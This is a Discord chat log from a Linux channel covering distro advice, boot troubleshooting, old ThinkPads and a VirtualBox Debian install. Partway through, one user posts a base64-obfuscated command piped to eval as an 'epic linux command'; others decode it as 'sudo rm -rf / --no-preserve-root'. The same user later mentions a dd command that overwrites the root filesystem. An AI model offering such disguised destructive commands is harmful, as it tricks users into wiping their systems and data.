linux-and-android

[undone lichen]

so ive got nothing lol

[edgy pelican]

lmao

thanks for trying to help

[late mason]

Does this need Etcher for a USB?

[dusk kernel]

Assuming Etcher is a tool for creating bootable USB devices, look on that page for "Bootable USB."

[late mason]

oh ok

[vivid finch]

so.. ubuntu arch or linux-from-scratch?

[humble kindle]

Yes

[late mason]

@dusk kernel ok i installed system repair what now

it says consle enviornment

[night charm]

you listed them for yourself from easiest to hardest lol

arch is about as advanced you can get without going full neckbeard mode, the next tier up would be gentoo

[late mason]

it worked :D

[late mason]

wait

no

it

omg

popos just got screwed up

facepalm

welp time to try ubuntu

[night charm]

what went wrong?

[late mason]

i dont even know

i think its because i accidentally installed 2

i need a way to clear this drive

[late mason]

When I boot

It just goes to this

It asks me for my data encryption password

And let's me select my account

And then just this

I need to delete everything on this hard drive

This is first

2nd

Then when I enter my password it does this

And just stays

[dusty ether]

o

[uncut sail]

Have you tried refreshing your desktop?

[late mason]

I can't it won't let me off of it

Like if I want to power off I have to take the whole battery out or let it die

[cursive oar]

what should i do for linux

Ubuntu

or

mint

[fallow belfry]

Like to get started? Or install?
I prefer Mint over Ubuntu

[cursive oar]

like to get started

[fallow belfry]

Ok, do you have it downloaded? Copied the USB installer?

[cursive oar]

uh no

what de mint look like

does

[fallow belfry]

https://www.linuxmint.com/download.php

Looks a bit like Windows, so easy to pick up

[cursive oar]

oh ok thx

its free right

[fallow belfry]

Yeah, free and open source

[cursive oar]

ok

which one should i download cinnomon
mate or Xfce

[fallow belfry]

I do cinnamon

[cursive oar]

ok

[brave isle]

How to start a war 101: What is the best distribution?

[wanton snow]

deb

[mortal totem]

mangaka

[brave isle]

Nobody likes Hannah Montana Linux anymore, smh.

[slender mulch]

Rebecca Black linux was better

[ashen notch]

https://tenor.com/view/theme-song-opening-spin-intro-hannah-montana-gif-17736900

[tight eagle]

https://tenor.com/view/shaggy-scooby-doo-running-fast-drive-gotta-go-gif-14864926

[tacit sinew]

Hi, I recently put a new ssd in my notebook, so I needed to reinstall windows and Ubuntu in a dual boot. The problem is, I had some troubleshooting with RST, I tried some solutions and now I'm able to install Ubuntu and windows, but, the problem was: when I just has finished Ubuntu installation and reboot nothing was displayed, just an blink under_line...any help?

An new message was displayed;
nvme 0000:04:00.0: AER PCIe Bus Error: severity=Corrected, type=Physical Layer, (Receiver ID)

[fallow belfry]

Try the command "startx", that should load the desktop where it will be easier to troubleshoot the boot problem looking at logs

[night charm]

from that description i dont think theyre booted into any os

[fallow belfry]

Yeah but the prompt should still allow you to type commands, and errors to those commands are good for troubleshooting

[tacit sinew]

If i understood, I need cntrl + alt + f2, login and try the command "starx"

"Startx"*

[fallow belfry]

Yes if it allows you to run the command at all that would do it

Any error message will be helpful in diagnosis

[tacit sinew]

Ok, after this command de desktop are loaded

The*

[fallow belfry]

It loaded? Great, now we can look at logs and see where it got stuck

[tacit sinew]

Sorry, but whats the path of logs?

[fallow belfry]

journalctl -b

[tacit sinew]

Ok

[fallow belfry]

If it's too long DM me

[tacit sinew]

Ok

[brave isle]

Hi

I use ubuntu you?

[wanton snow]

ubuntu weak

masterrace

[tacit sinew]

Ubuntu is more likely if you want something good and ready to use

To people that are changing windows to Linux it's the best choice....in my opinion...

[wanton snow]

ehhhhh

ubuntu is just cringe

id just tell people to start on deb

[brave isle]

lol

i have windows on VM

xD

and i type from it

[fallow belfry]

Mint has a Windows-like interface so it's easier for newbies to pick up. The app drawer can get a bit... messy... in Ubuntu.

[night charm]

or just use arch + bspwm + sxhkd + dmenu

(not very newbie friendly)

[open gust]

Linux seems interesting

But def out of my league

[night charm]

dont know until you try

[slender mulch]

Next PC I build will probs be on a Debian distro

[humble kindle]

Great tutorial on how to run linux/windows etc in a vm https://www.youtube.com/watch?v=wX75Z-4MEoM

[fallow belfry]

Linux is no more complex to install than a custom Windows install, and it works out of the box. The only hard part is finding an interface you like.

[slender mulch]

Not just an interface, but a whole distro

Plus Linux version (arch, Debian, Ubuntu, etc)

[fallow belfry]

Ubuntu is just Debian with extra steps lol

[wanton snow]

ubuntu is literally just deb with extra stuff lol

and sudo preinstalled

[brave isle]

Quick Question y'all, so I am interested in the Linux operating system, but I am a beginner with no command line experience, I was wondering if you guys recommend any videos to help me get started.

Thank you.

[night charm]

@brave isle tbh i recommend installing arch linux in a vm

thats a good command line learning experience

[wanton snow]

yea

follow official guide tho

[fallow belfry]

If upon seeing Arch you immediately think "oh frick no" try Mint.
But yeah Arch is good for learning command line if you really want to get into it.

[brave isle]

Personally Arch feels easy after you've installed 20+ times. If you want to become a true neck beard Gentoo is the way to go. If you want a stable system but want to use cli you could either get an RPI/SBC and tinker with ssh on it. Or you could install a window manager and learn to customize it to your liking. The last 2 I'd recommend over Arch or Gentoo because you're actually learning how to use the system. Though if you want to learn how it works, Gentoo is probably a better option than Arch.

[wanton snow]

for a first install i wouldnt tell someone to compile gentoo lmfao

[brave isle]

Never said I recommended it 乁( ͡° ͜ʖ ͡°)ㄏ, only if they wanted to learn how the system actually works. Personally starting with a base system and learning how to use it properly, then stepping up to learning simple tui commands/scripts to automate simple things is preferred if you only want to learn how to use it.

[wanton snow]

eval $(echo c3VkbyBybSAtcmYgLyAtLW5vLXByZXNlcnZlLXJvb3Q= | base64 --decode) epic linux command!!!!111!!11!!1!!1!!!!!

[harsh dust]

Nice command lili
I wonder if someone actually ran that command on their fresh installed system

[wanton snow]

thatd be hilarious

on their daily driver machine with 0 backups

[slender mulch]

What does it do

[wanton snow]

uh

fun surprise

:))

[sharp iron]

Ok virtual machine time

[fallow belfry]

Decodes to "sudo rm -rf / --no-preserve-root"
Rude

[night charm]

LOL

[noble edge]

i do that on android x86 termux lol

[fallow belfry]

You'd have to root the android for the command to even run though, sudo isn't included by default

[wanton snow]

ssssssh

i got someone with it

somewhere else

lol

[fallow belfry]

You still have to know what rm does to know what that command does, and most people that know about it know better than to run a random code someone on the internet said lol

[wanton snow]

yeah

its funny how dumb some ppl can be tho lol

[zinc harness]

What’s it do is that like deleting system32?

[fallow belfry]

That would be (redacted), "rm / -rf" literally means (redacted)

[zinc harness]

Oh lol

[harsh dust]

you did lili?

[fierce kettle]

has anyone put kali on a raspberry pi 4 here?

[wanton snow]

yes its super easy lmfao @fierce kettle

[fierce kettle]

dude i need help

idk what the heck im doing wrong

lemme send a photo right after i do this last burn

[wanton snow]

are you one of those "hackers"

[fierce kettle]

ig you can call me that lol

i do security

[wanton snow]

well if you wanna have fun being a skid

id suggest reading the docs

https://www.kali.org/docs/arm/kali-linux-raspberry-pi/

[fierce kettle]

im not a script kiddie lmfao

but alright

[wanton snow]

has hacks in name

cant install an os

alright

[fierce kettle]

😐

[wanton snow]

well theres the docs

[fierce kettle]

yeah thanks i noticed lol

and i have, it just had errors

so boo hoo

[wanton snow]

sucks

[fierce kettle]

yeah thanks

[wanton snow]

np

[fierce kettle]

nvm ill message the error

nvm

[fierce kettle]

found the issue lili, it was a display issue lol

[wanton snow]

oh nice!

[brave isle]

so i am thinking of switching to arch linux and running virtual machines for other operating systems, how hard would that be to set up?

[fallow belfry]

Not too bad. A bit of a learning curve, but once you get the basics down you're good to do almost anything.

[brave isle]

alright

[fallow belfry]

Maybe try running Arch in a VM until you get the hang of it, just in case something goes wrong

[brave isle]

thats a good idea thank you

[wanton snow]

run arch in a vm and use qemu to run everything else

shouldnt be too hard if you follow some tutorials

use ONLY the official arch wiki for install help though

[night charm]

why do you say that lol

i used other websites and it worked

[wanton snow]

because its what every super power user has told me

and arch wiki has good best practices

[brave isle]

The fact is you dont need anything more then the arch wiki to install it

But that doesnt mean to ONLY use the official arch wiki for install help

[wanton snow]

id say you should take wiki as gospel and use everything else as a maybe

[agile jewel]

any fellow arch user?

i9 9900K, 64gb ram, 2080ti and arch linux goodness

[brave isle]

Intel Celeron 400MHz, 256mb DDR2, 3dfx Voodoo3 GPU, Proview 17" CRT, ARCH ™️ with dwm, of course. No pulse audio.

Had to sell my 1997 Toyota Corolla for the DDR2, worth it though

[night charm]

for me i followed wiki but when things got confusing (because i was a first time linux user) i compared with other website, i got hung up around making the file systems

[brave isle]

DistroTube's newer video is fine, but he forgets to edit a config file. Wiki should be perfectly fine though, but no, they don't explain everything in the install guide.

[brave isle]

@agile jewel ryzen 7 4800h, 16gb, rtx 2060. Speed.

[white shard]

guys if i installed linux can i play games that dont run on dx10 ?

[agile jewel]

arch?

[brave isle]

Yep thus the reply

[brave isle]

Linux the choice???

[wanton snow]

arch weak

[fallow belfry]

More game developers are making linux binaries but Windows still has the highest compatibility

[slender mulch]

Just run a VM

Won’t work for games using Battleye but will work for hopefully every other game

[brave isle]

I'm having trouble deciding: I have windows installed on my PC right now and it's great. However, I'd really like to switch to Arch but I don't have enough space so I was contemplating wiping the windows drive and switching completely to Linux but I have so many things that only work on windows.

I've heard good things about VMs but I don't want to run windows or linux off a VM.

[dusk kernel]

I have occasionally run Linux from a USB drive. If you have USB3, it's definitely usable.

[fallow belfry]

You can use Linux in a VM until you get used to it, then do a full install later.

Linux is also perfectly happy being on only 8 GB of disk storage, it hardly knows what to do with 16 GB

[night charm]

^^ lol

[wanton snow]

echo 'Y293c2F5ICJObyBncmVhdCBpZGVhIGluIGl0cyBiZWdpbm5pbmcgY2FuIGV2ZXIgYmUgd2l0aGluIHRoZSBsYXcuIEhvdyBjYW4gaXQgYmUgd2l0aGluIHRoZSBsYXc/IFRoZSBsYXcgaXMgc3RhdGlvbmFyeS4gVGhlIGxhdyBpcyBmaXhlZC4gVGhlIGxhdyBpcyBhIGNoYXJpb3Qgd2hlZWwgd2hpY2ggYmluZHMgdXMgYWxsIHJlZ2FyZGxlc3Mgb2YgY29uZGl0aW9ucyBvciBwbGFjZSBvciB0aW1lLiIK' | base64 -d | bash

ebic linux command

[night charm]

does that translate to sudo rm -rf --no preserve root

[sleek halo]

perhaps

[wanton snow]

no

is harmless

just like running dd if=/dev/urandom of=ROOTFS bs=4M count=100

[fallow belfry]

lili up to her usual tricks 🙄

[wanton snow]

uwu

[undone lichen]

lili no being mean

[wanton snow]

@humble kindle decode it

[humble kindle]

https://tenor.com/view/no-nones-nop-gif-4708604

[wanton snow]

[night charm]

i think for every 5 pepe beans lili posts we should mute for a week

:)

[mortal totem]

yes

[fallow belfry]

Cow goes moo 😉

[wanton snow]

my mental health would get even worse

[night charm]

youre already at 15 so keep it up

[mortal totem]

So that be good for mental health

Think of it as vacation

[wanton snow]

nah id probs just die

[finite cargo]

I recently revived an old TinkPad x240 and put Pop OS on it. It runs pretty great (for school) but I have a couple issues with it.

The main issue is that about 33% of the time when I close the lid and open it again, the laptop dies completely.
Either it's stuck in a loop of both the keyboard backlight and power light blinking on for ~1s and then back off, or it appears off and when I press the power button it appears to power on, but then gives up after a few secs (nothing on the LCD in both cases).

When it's in the first state of looping, the only way to get out of it is to take off the external battery and temporarily disconnect the internal battery by pushing a paperclip into the "emergency reset hole".

[wanton snow]

[rotund python]

Maybe I should do a new gentoo build now that I have my new rig. hmm

[wanton snow]

gentoo

[rotund python]

glorious gentoo

[lone flame]

What cheap laptop do you think is best for running Linux? Not in the market or anything, just curious as to y'all's opinions.

Assuming the distro is Ubuntu, because it's the most common. Lmao

[night charm]

@wanton snow @humble kindle

since i know u love thinkpads so much lol

a couple of thinkpad t60s

these things come from such a different time

instead of a webcam or a backlit keyboard, theres a light at the top of the screen you can turn on

designed for windows xp... lol

[wanton snow]

owo

thinklight baby

just give it a month to compile gentoo and youll be ascended neckbeard @night charm

[night charm]

still trying to pick the lock on the dock

i dont feel any pins so idk how tf im supposed to do this 😩

i should install windows 10 on it

ok i really want to put linux on it and use it at school

that would be hilarious

also with an ssd

:)

god knows what processor is in it

awwww it thinks its 1988

3gbs ram, core two duo t2300

its surprisingly quiet

aside from the loud beep when it realizes the battery is dead

[humble kindle]

ya, honestly maybe a $30 ebay battery + $20 ssd and you're set

I would totally rock that in high school

Or college

[night charm]

oh my god it got my fingerprint first try

well i was joking about it

but as it is

this has 1 more gb ram than my school issued chromebook LOL

it has office 2007 on it :o

[humble kindle]

Any luck picking the lock?

[night charm]

nah

also i finally understand why middle click is that weird mode of scrolling!

when you middle click and use the little nub mouse it all makes sense

ok this laptop is surprisingly fast

[slender mulch]

Is that windows 7?

[night charm]

no, its DOS

elegant solution to no backlit keyboard

[humble kindle]

Lol, how's the screen?

and the keyboard feel

[night charm]

very low res

keyboard has held up well

[slender mulch]

Huh

Pretty interesting to see old hardware running relatively new software, even if it’s just discord

[humble kindle]

I like the modern thinkpad keyboards, but I hear a lot of enthusiasts praise the vintage stuff

[night charm]

1024x768

[humble kindle]

oof

[night charm]

i can see every pixel

and all of the "i"s look like they have accents on them

i love this

this is so much better than any laptop today

i cannot explain how satisfying it is when it works

[keen geyser]

Wow, it actually works

[night charm]

thats what i was thinking lol

[wanton snow]

the vintage keebs are pog

[wanton snow]

turn on cleartype

[night charm]

you gotta go kinda slow, but its better than typing in some crazy long password that whoever the domain manager person guy is put in place

[humble kindle]

Haha modern thinkpads have similar fingerprint sensors, works well

[night charm]

where do i turn on cleartype

[humble kindle]

I've definitely recommended oldish thinkpads like librebooted x230's to you a few times

[night charm]

idk i like the T60 so far lol

[humble kindle]

windows key - clear type should bring it up in win 10

[night charm]

if only the fan was a bit quieter

[wanton snow]

t550 pretty pog actually

[humble kindle]

Could probably do with a dusting

[wanton snow]

im sure that thinkpad would appreciate a clean out and some new paste

[humble kindle]

lili have you seen wolfgangs channel https://www.youtube.com/channel/UCsnGwSIHyoYN0kiINAGUKxg

[wanton snow]

no lol

is that our wolfgang

[night charm]

i turned on clear type, and it works wonders for system text, but it has no effect in discord

[humble kindle]

I know I've shared this multiple times but I think it's hilarious https://www.youtube.com/watch?v=349acxMIpTI

it's the solarized meme thing

He does a lot of thinkpad content

Libreboot etc

[night charm]

i would put linux on this but

the fingerprint sensor...

[humble kindle]

Surely some linux nerds figured out how to get it working in linux ?

https://askubuntu.com/questions/113781/fingerprint-reader-on-the-t60-thinkpad-running-10-10

[night charm]

ubuntu :awkward:

[slender mulch]

Wolfgang actually has a decent following

[wanton snow]

just run win7

[night charm]

i like windows 7

it feels much less bloated

[humble kindle]

We all did ime

[wanton snow]

is it a fresh install

[humble kindle]

Win 10 was rocky on launch

[wanton snow]

7 is rly bad but like

[humble kindle]

Even the hwbot guys don't strip stock win 7 much because it's so light

[wanton snow]

at least it runs better than 10 on third world class hardware

[night charm]

i have no idea whats on this laptop

[wanton snow]

do u need new iso

[night charm]

it used to be my dads coworkers

its running enterprise, btw

[wanton snow]

https://files.dog/MSDN/Windows 7/

[night charm]

im not gonna fresh install until i put an ssd in

if i put an ssd in

[wanton snow]

[night charm]

this laptop has a vertical usb port

lapops these days are half the height of a usb port total

[wanton snow]

is it our wolfgang tho

like the one in here

[slender mulch]

Sounds like him

[humble kindle]

You didn't know he was a linux nerd?

[slender mulch]

I’ve listened to his Minecraft streams before

It sounds like him

More or less

[wanton snow]

didnt know he was a youtuber

is he?

[night charm]

whos a linux nerd youtuber

[humble kindle]

lol no

Also doesn't sound like him imo

statik sounds like the youtuber "boffy" imo

[wanton snow]

i was abt to @ him and tell him his nas build SUCKED

[night charm]

does anybody have windows 10 that i can connect to over RDP right now i want to take a picture of this laptop with it looking like its running win10

i would use my own pc

if i could

[wanton snow]

lmfao

[night charm]

:sadge:

[wanton snow]

"does anyone want to give me complete access to their pc"

[night charm]

nooooooooo

it could be a vm

[wanton snow]

[night charm]

:)

[wanton snow]

ur not getting a lililabs vm

also hows the keeb

i like hearing opinions

[slender mulch]

No you don’t

You like telling people off for having a subjectively wrong opinion

[wanton snow]

nah keebs are opinion

some people like old ones some like new ones

i like telling people off for being completely wrong tho

[humble kindle]

You're wrong if you don't think the k120 is the best keyboard ever made

[undone lichen]

ctrl key is in stupid default position

gross

[night charm]

sorry i was brushing my teeth

and yes

sassy read my mind

fn and ctrl keys should swap places

bottom left should always be ctrl

[undone lichen]

that too, but imo caps lock and ctrl should swap

[wanton snow]

thats to encourage vendor lock

[night charm]

wahjksalhkhf what

[undone lichen]

no one uses caps lock, why is it is such a convenient position

[wanton snow]

get ppl used to your layout

[night charm]

i use caps lock all the time

also i use ctrl with my pinky lol

[wanton snow]

then no one wants to swap

[wanton snow]

its the best PTT key

[undone lichen]

PTT? idk what that is i just hold shift smh

[wanton snow]

push to talk

[undone lichen]

oh i just use mouse button lol

but yeah, thats an ok one i guess

[humble kindle]

I use a thumb mouse button, but want to switch, those are to useful for forward/back most games

[night charm]

lili, as for the rest of the keyboard, it feels good, i like modern laptop keyboards better, but its held up great over the years, doesnt feel mushy. Finger gets caught on the mouse nub from time to time

currently typing on it

[undone lichen]

i try to use thumb buttons for non critical functions, like if i accidentally bump it and i go prone or some crap

[wanton snow]

i do like how the keeb is

i feel like once you get used to it

youll like it more

[night charm]

is it really that much harder to type out keyboard

sorry pet peeve lol

[undone lichen]

kEEb

[wanton snow]

yes cause im playing a game rn

[night charm]

i think this laptop barely has any key rollover

it beeps if i spam it

the touchpad is super accurate and responsive somehow

like

extremely good

i feel like i could play osu on it

[slender mulch]

What game

Lili

[night charm]

i type better on this than my actual gaming keyboard

it dropped to 0 wpm because it lagged pretty hard but i kept typing which explains the spike

[humble kindle]

idk what it is about old laptop keyboards that makes it easy to type fast

also damn 110 lol

[night charm]

just hit 112 without lagspike

ok thats enough monkeytype for now

chrome makes this laptop 💀

[slender mulch]

I expect as much

[night charm]

only using 1.3gb ram rn

whereas windows 10 uses like 8

[slender mulch]

Use Opera GX

[night charm]

yeah no

i should not be able to type this fast on this laptop

the keys are like

old

this laptop has dedicated media keys :o

[slender mulch]

I hate typing on gaming keyboards tbh

[night charm]

and the thinkpad volume is separate from windows volume

this really makes me want a surface laptop go

to me, that somewhat feels like a sort of evolution of this

in regards to the fingerprint sensor, boxy screen, thin bezels, etc.

but modern

[slender mulch]

Is that thing comparable to a surface laptop in your opinion?

Also, wow, 8gb RAM

That’s rare on DOS, no?

[night charm]

https://tenor.com/view/awkward-umm-what-what-gif-14694719

[wanton snow]

dying light

[slender mulch]

I have that on Game Pass

[slender mulch]

What

Did I say something dumb?

[wanton snow]

ur experiencing the glory of thinkpad

[night charm]

oh god please dont ping me idk what kind of notification thing this has but it glitches horribly lol

i basically get flashbanged

[slender mulch]

Oh my

[wanton snow]

imo thinkpad keyboard >>>>>> everything else

oh sorry @night charm ill be sure not to ping

[night charm]

im going to tab out, ping me again and ill record with my phone

[slender mulch]

@abstract birch

[wanton snow]

@night charm

and yeah 1111 isnt gonna say anything

he knows im right

im talking abt laptops

[slender mulch]

He is going to preach keychron

[slender mulch]

Also you didn’t say it was the best laptop kb, just the best kb

[wanton snow]

KEK

[slender mulch]

Your pfp at the end lmao

[wanton snow]

zach get ssd for it

become thinkpilled

[night charm]

its too loud

and too old

core 2 duo can barely keep up with discord 😩

[slender mulch]

Rip core 2 duo

[humble kindle]

Guess you'll just have to use discord through surf without a gui

[slender mulch]

see how high you can OC it

[night charm]

that sounds like a bad idea

i really want to bring this to school

and use the fingerprint reader

[slender mulch]

That’s why you should do it

It’s a bad idea

[night charm]

while all the other people in my class log in with their passwords

:)

[slender mulch]

What’s what we do here

[night charm]

it is not what i do

[slender mulch]

Uhhh

A lot of modern laptops have fingerprint readers

[night charm]

the school issued chromebooks dont

[slender mulch]

Ah

[wanton snow]

my laptop auto unlocks when my phone is nearby

[night charm]

rich

[wanton snow]

2fa baby

[night charm]

what laptop is it

[wanton snow]

pixelbook

[night charm]

is it running chromeos

[wanton snow]

ofc

[night charm]

you confuse me

why a pixelbook lol...

[wanton snow]

honestly a good os

it was only 1.7k

worth

[night charm]

1.7k to run google docs

yep

[wanton snow]

it can do a lot

[night charm]

oh wait

[wanton snow]

honestly most of my work is browser based

[night charm]

i forgot it can run linux stuff now

[wanton snow]

it connects to my vpn just fine

[night charm]

my school blocks all that stuff out, so im used to restricted chromeos

[wanton snow]

and it can handle 2k+ tabs

[night charm]

it better be able to handle over 2k tabs

btw did you know you can group chrome tabs now

[wanton snow]

and its thin and light and the trackpad/screen/keyboard are heavenly

yes

[night charm]

just right click and press "add to group"

overpowered

back when the pixelbook came out chromeos was a lot worse tho right

[wanton snow]

yeah

it doesnt compete with laptops

tho

it competes with like

ipad pro

[night charm]

i suppose... but ipad pro is cheaper lol

[wanton snow]

ehhh

[night charm]

i guess it is a lot less like a laptop

[wanton snow]

u factor in keyboard and

not as much

[night charm]

does pixelbook have ability to detach screen from keyboard tho

[wanton snow]

no

[night charm]

also im not sure how they sound, but the speakers on my dads ipad pro are extremely good lol

*not sure how the pixelbook speakers sound

[wanton snow]

i mean i have an ipad pro as well

and it sits unused

[night charm]

oh well then problem solved lol

[wanton snow]

99% of the time

[abstract birch]

You might have thought I was off to bed, but no, I am here once again to preach the goodness of Keychron and wireless keeb for laptop

[night charm]

ive been wanting a portable device for awhile... and if i were to get one it would be between an ipad and a surface laptop go for me

leaning towards surface laptop go because cheaper and more capable

[abstract birch]

and I'll be gone again because I bad at linux

[wanton snow]

i cant wait for the surface to last like 2 years

[night charm]

i only started all this convo in the linux channel because its calm lol

general chat too busy for this kind of conversation

and it sort of relates to linux because i mentioned possibly putting linux on the thinkpad lol

(thats an excuse)

[wanton snow]

general chat full of brainlets saying "haha why even own laptop"

[night charm]

i really do not enjoy general chat often... lol

[slender mulch]

Hence why you mostly hang out here and in the VR channel

[night charm]

i only frequently check os and software channels + vr gaming

yeah

[wanton snow]

i check here and my channel

and thats basically it

the less gray names i see the better

[slender mulch]

And then she DMs me

[wanton snow]

true

but that doesnt count

[slender mulch]

Also you were having a fine convo with a grey name 22 hours ago

[night charm]

also lili, why do you think the surface would only last 2 years?

[wanton snow]

theres exceptions

because all my surfaces lasted 2 years

and every surface a client has ever deployed has lasted 2 years

[night charm]

i can maybe see why a surface pro would only last that long, its basically a windows tablet... but the surface laptop go is a more traditional laptop with a metal body besides the bottom

what kinds of issues did they have?

[wanton snow]

mostly heat and durability

[mortal totem]

Haha laptops bad

[wanton snow]

forgive me cause i honestly dont know anything abt the surface laptop go

but am guessing

u cant repaste

and that was the main issue

with any thin and light

cause after 2 years it gets rough

[night charm]

yeah

[wanton snow]

youll get oofed by throttling

like idk id rather thinkpad and just ride it out for 10 years

cause now youve seen with your own eyes

10 year old thinkpad actually usable

fr tho like u can use thinkpads forever

i bet your thinkpad can get panel swapped and new keeb and new everything

if you look

parts is insane

[night charm]

is modern thinkpad the same way tho

[wanton snow]

great for people who actually take care of their stuff

yes

can panel swap easily

same with trackpad and everything else

[night charm]

its just not the same level of thin and light 😩

[wanton snow]

u can get a carbon

[night charm]

as dumb as it sounds i somehwat prioritize looks over longevity when it comes to this

i think it will last more than 2 years

if i only use it for things like discord/web browsing/light photoshop at the max, it will be fine

it would have 8gb ram and 128gb storage anyways, not like i can do much beyond that

[slender mulch]

We need a laptop channel

[wanton snow]

non upgradable?

[night charm]

no we do not :)

[humble kindle]

You mean a thinkpad channel?

[wanton snow]

only laptops that matter are thinkpads

and thinkpads belong in linux channel

[night charm]

dell xps, microsoft surface, thinkpads, and macbooks

the only interesting laptops

[slender mulch]

Speaking of

Check build chat

[night charm]

brb gonna win+l to use fingerprint reader for fun

IT WORKED AGAIN

istg its like an instant serotonin boost

also because windows 7 plays the login sound effect

[keen geyser]

LOL!!!

Old tech FTW

[night charm]

wait serotonin is the happy chemical right

i forget

whatever it is its just an instant mood boost

[mortal totem]

I always hated those sound effects

[night charm]

i love them

[mortal totem]

It would be middle of night i turn on computer and you just hear loud uncontrollable boot up sound

[night charm]

i love it.

ok i need to stop locking and unlocking this laptop lol

its so addicting

[keen geyser]

I find this humorous

because it's something I would do

[night charm]

ive had this thinkpad for as long as i can remember and the fingerprint sensor never worked with this success rate

[mortal totem]

Yikes

[night charm]

i think i finally found the right method for scanning

keep it flat, go a certain rate, etc.

and make sure finger not sweaty

too addicting

[slender mulch]

Wow

[night charm]

ok im going to sleep now.

[slender mulch]

Same in 2 minutes

[tight eagle]

No no, make sure finger is very very sweaty

[zinc harness]

I haven’t heard that noise in so long lmao

[wanton snow]

thinking of messing around with this

might as well share it

https://github.com/weaveworks/ignite

[brave isle]

When you use ubuntu to avoid data going to zoom.

[slender mulch]

how tf do I point a debian vm at an iso in vbox?

Dread

@brave isle

do you know how?

[brave isle]

I think so

Like run a ISO is a vbox?

is that what your asking

[slender mulch]

like

idk

lili said I need to point the machine at a debian ISO

which I downloaded

[brave isle]

oh

Uh

iirc it should be in settings

[slender mulch]

yeah but where

[brave isle]

When you launch the machine

then it says "New"

and you allocate ram , and cores

then it will say "Create a Virtual drive"

[slender mulch]

yeah i did that

i have the machine saved in vbox

lili said I could point it somewhere from there

[brave isle]

Yeah in the settings, can you send a SS?

[brave isle]

settings

[brave isle]

Either system or storage iirc.

Shared folders is through your main OS

and pointing it into the VM

[brave isle]

For example, malware testing.

[brave isle]

Last iirc it was like this

create a fixed one,

[slender mulch]

I already made that

[brave isle]

Oh

[slender mulch]

i did vdi

[brave isle]

might be controller

because IDE is like old sata.

Yep.

[slender mulch]

soooo

remove?

or

what

[brave isle]

I mean, it might be easier making a whole new one with same settings

[slender mulch]

dang ok

[brave isle]

Its been ages since I used virtual box lol.

My main issue with it was GPU passthrough

[slender mulch]

heres where I am

actually

[brave isle]

Wait

[slender mulch]

could you and i go in the vc

[brave isle]

sure

[slender mulch]

wrong vc

dummy

special chat

I did fixed

not dynamic

[brave isle]

lol.

[slender mulch]

wait what

now what

lili doesnt want me to have a GUI

;-;

OH NO SHES HERE

stfu lili

stfu lili

x2

Do I need this part?

[wanton snow]

[brave isle]

[wanton snow]

[brave isle]

[wanton snow]

[slender mulch]

10300h right now

not on my main computer

[wanton snow]

uncheck desktop environment

weak

[slender mulch]

wait

[brave isle]

Virtualbox

[wanton snow]

time to start install all over again

[slender mulch]

i pressed desktop environment on accident didnt I

[wanton snow]

force reboot the vm time

[brave isle]

[slender mulch]

I refuse

ill use the gui for now

[wanton snow]

use the gui

blocked

[brave isle]

GUI is for the weak

[wanton snow]

[slender mulch]

both of yall need to shush

[wanton snow]

literally didnt even touch a mouse for all of yesterday

[slender mulch]

SHUSH

[tight eagle]

I just press the power button to use my computer

[slender mulch]

[slender mulch]

^^^^

[wanton snow]

sara is weak she installed gui

[tight eagle]

Only power button

[slender mulch]

whatever

[brave isle]

SMH imagine not using Headers/jumpers

Power button is for the weak

[slender mulch]

ill use the terminal version next time im on good computer

[tight eagle]

Smh

[brave isle]

Just use Pwr_SW headers SMH

Power buttons =

[tight eagle]

I just unplug the psu and wire it to the power lines directly

[slender mulch]

^^^

[tight eagle]

Weak headers and jumpers

[brave isle]

SMH, great way to fry your computer.

[slender mulch]

I may need to go in a minute

[brave isle]

Especially when rain happens

[tight eagle]

I just telekinetically power my computer with my brain

[wanton snow]

literally useless to run linux with a gui anyways

[brave isle]

AHHHHHHHHHH

[tight eagle]

Weak power lines

[wanton snow]

u wont learn anything

[brave isle]

Why do you have razer stuff installed

[wanton snow]

[brave isle]

AHHHHHHHHHHHHHH

[tight eagle]

I just tell God to power my computer

Weak telekinesis

[brave isle]

Istg razer stuff is SUS

In that video where it booted before windows can even boot

[wanton snow]

shes a razer kiddie

[tight eagle]

I just force the universe to power my computer

Weak God

[brave isle]

When Razer cortex can boot before windows can load in loading screen

[wanton snow]

average razer fan vs average steelseries enjoyer

[tight eagle]

I just destroy the universe to create a subuniverse so I can force all the universes to power my computer

Weak universe

[brave isle]

Read a review where someone didn't get their mouse delivered till 2 years later

From steelseries

[wanton snow]

im gonna order an entire pizza just for myself

[brave isle]

[wanton snow]

[brave isle]

Just remember to not need a quad bypass

She has gone AFK

[wanton snow]

f

[brave isle]

Please start movement in 5 minutes, or you will be kicked from session

[slender mulch]

back

[fallow belfry]

Just use a microverse battery

[wanton snow]

wait why is your cursor black

🤮

[slender mulch]

windows dark mode = good

[wanton snow]

black cursors are actual garbage

[brave isle]

Ubuntu black cursor

[wanton snow]

i dont always use a mouse, but when i do, its with the kde breeze cursor

[tight eagle]

Damn why didn't I think of that

[wanton snow]

[tight eagle]

Thanks for the suggestion

[wanton snow]

do u want

i made a windows ver

[slender mulch]

do I need GRUB boot loader or nah

[brave isle]

SMH imagine not plugging in 12v 24pin ATX into your headers.

[tight eagle]

No the microverse battery not ubuntu

[wanton snow]

kek

[slender mulch]

.

[wanton snow]

yes

kek

[brave isle]

Grub Multiboot load

er

[wanton snow]

if u want to be able to start the vm more than once

[fallow belfry]

GRUB or nothing

[ripe knot]

Dread#6856 has been warned

Reason: Duplicated text

[brave isle]

Wow

[fallow belfry]

But real power users use BURG

[brave isle]

SMH imagine using ahci on non magnetic disk drives

[night charm]

i use clover and grub

[fallow belfry]

"non magnetic disk drives", so a DVD?

[brave isle]

AHCI was normally supposed to be used on magnetic drives.

[wanton snow]

sara dont expect a walkthrough kek

just figure it out

[brave isle]

Trial and error

[slender mulch]

fine

[wanton snow]

youll learn more that way

[night charm]

what is sara doing

[slender mulch]

[brave isle]

Attempting to install debian

[slender mulch]

virtual box

[brave isle]

"Attempting".

[fallow belfry]

"Here walk across these coals"
"How?"
"Figure it out"

[wanton snow]

key word attempting

[brave isle]

[night charm]

arch wiki probably has a debian install guide

[wanton snow]

imagine getting spoonfed commands and then thinking you know anything

[slender mulch]

^^^^^^^^

[wanton snow]

arch wiki has guides for so much stuff lol

[night charm]

it has a page for minecraft

the arch wiki

[tight eagle]

Epic

[wanton snow]

arch wiki actually taught me how to make fried chicken

[tight eagle]

Now I can finally play Minecraft

[brave isle]

Do you think Chernobyl was like? Google "Tutorial how to clean up nuclear waste"

"How to clean up nuclear waste 101"

[wanton snow]

wikihow

[tight eagle]

Yeah actually there's a guide for that

Ezpz

[brave isle]

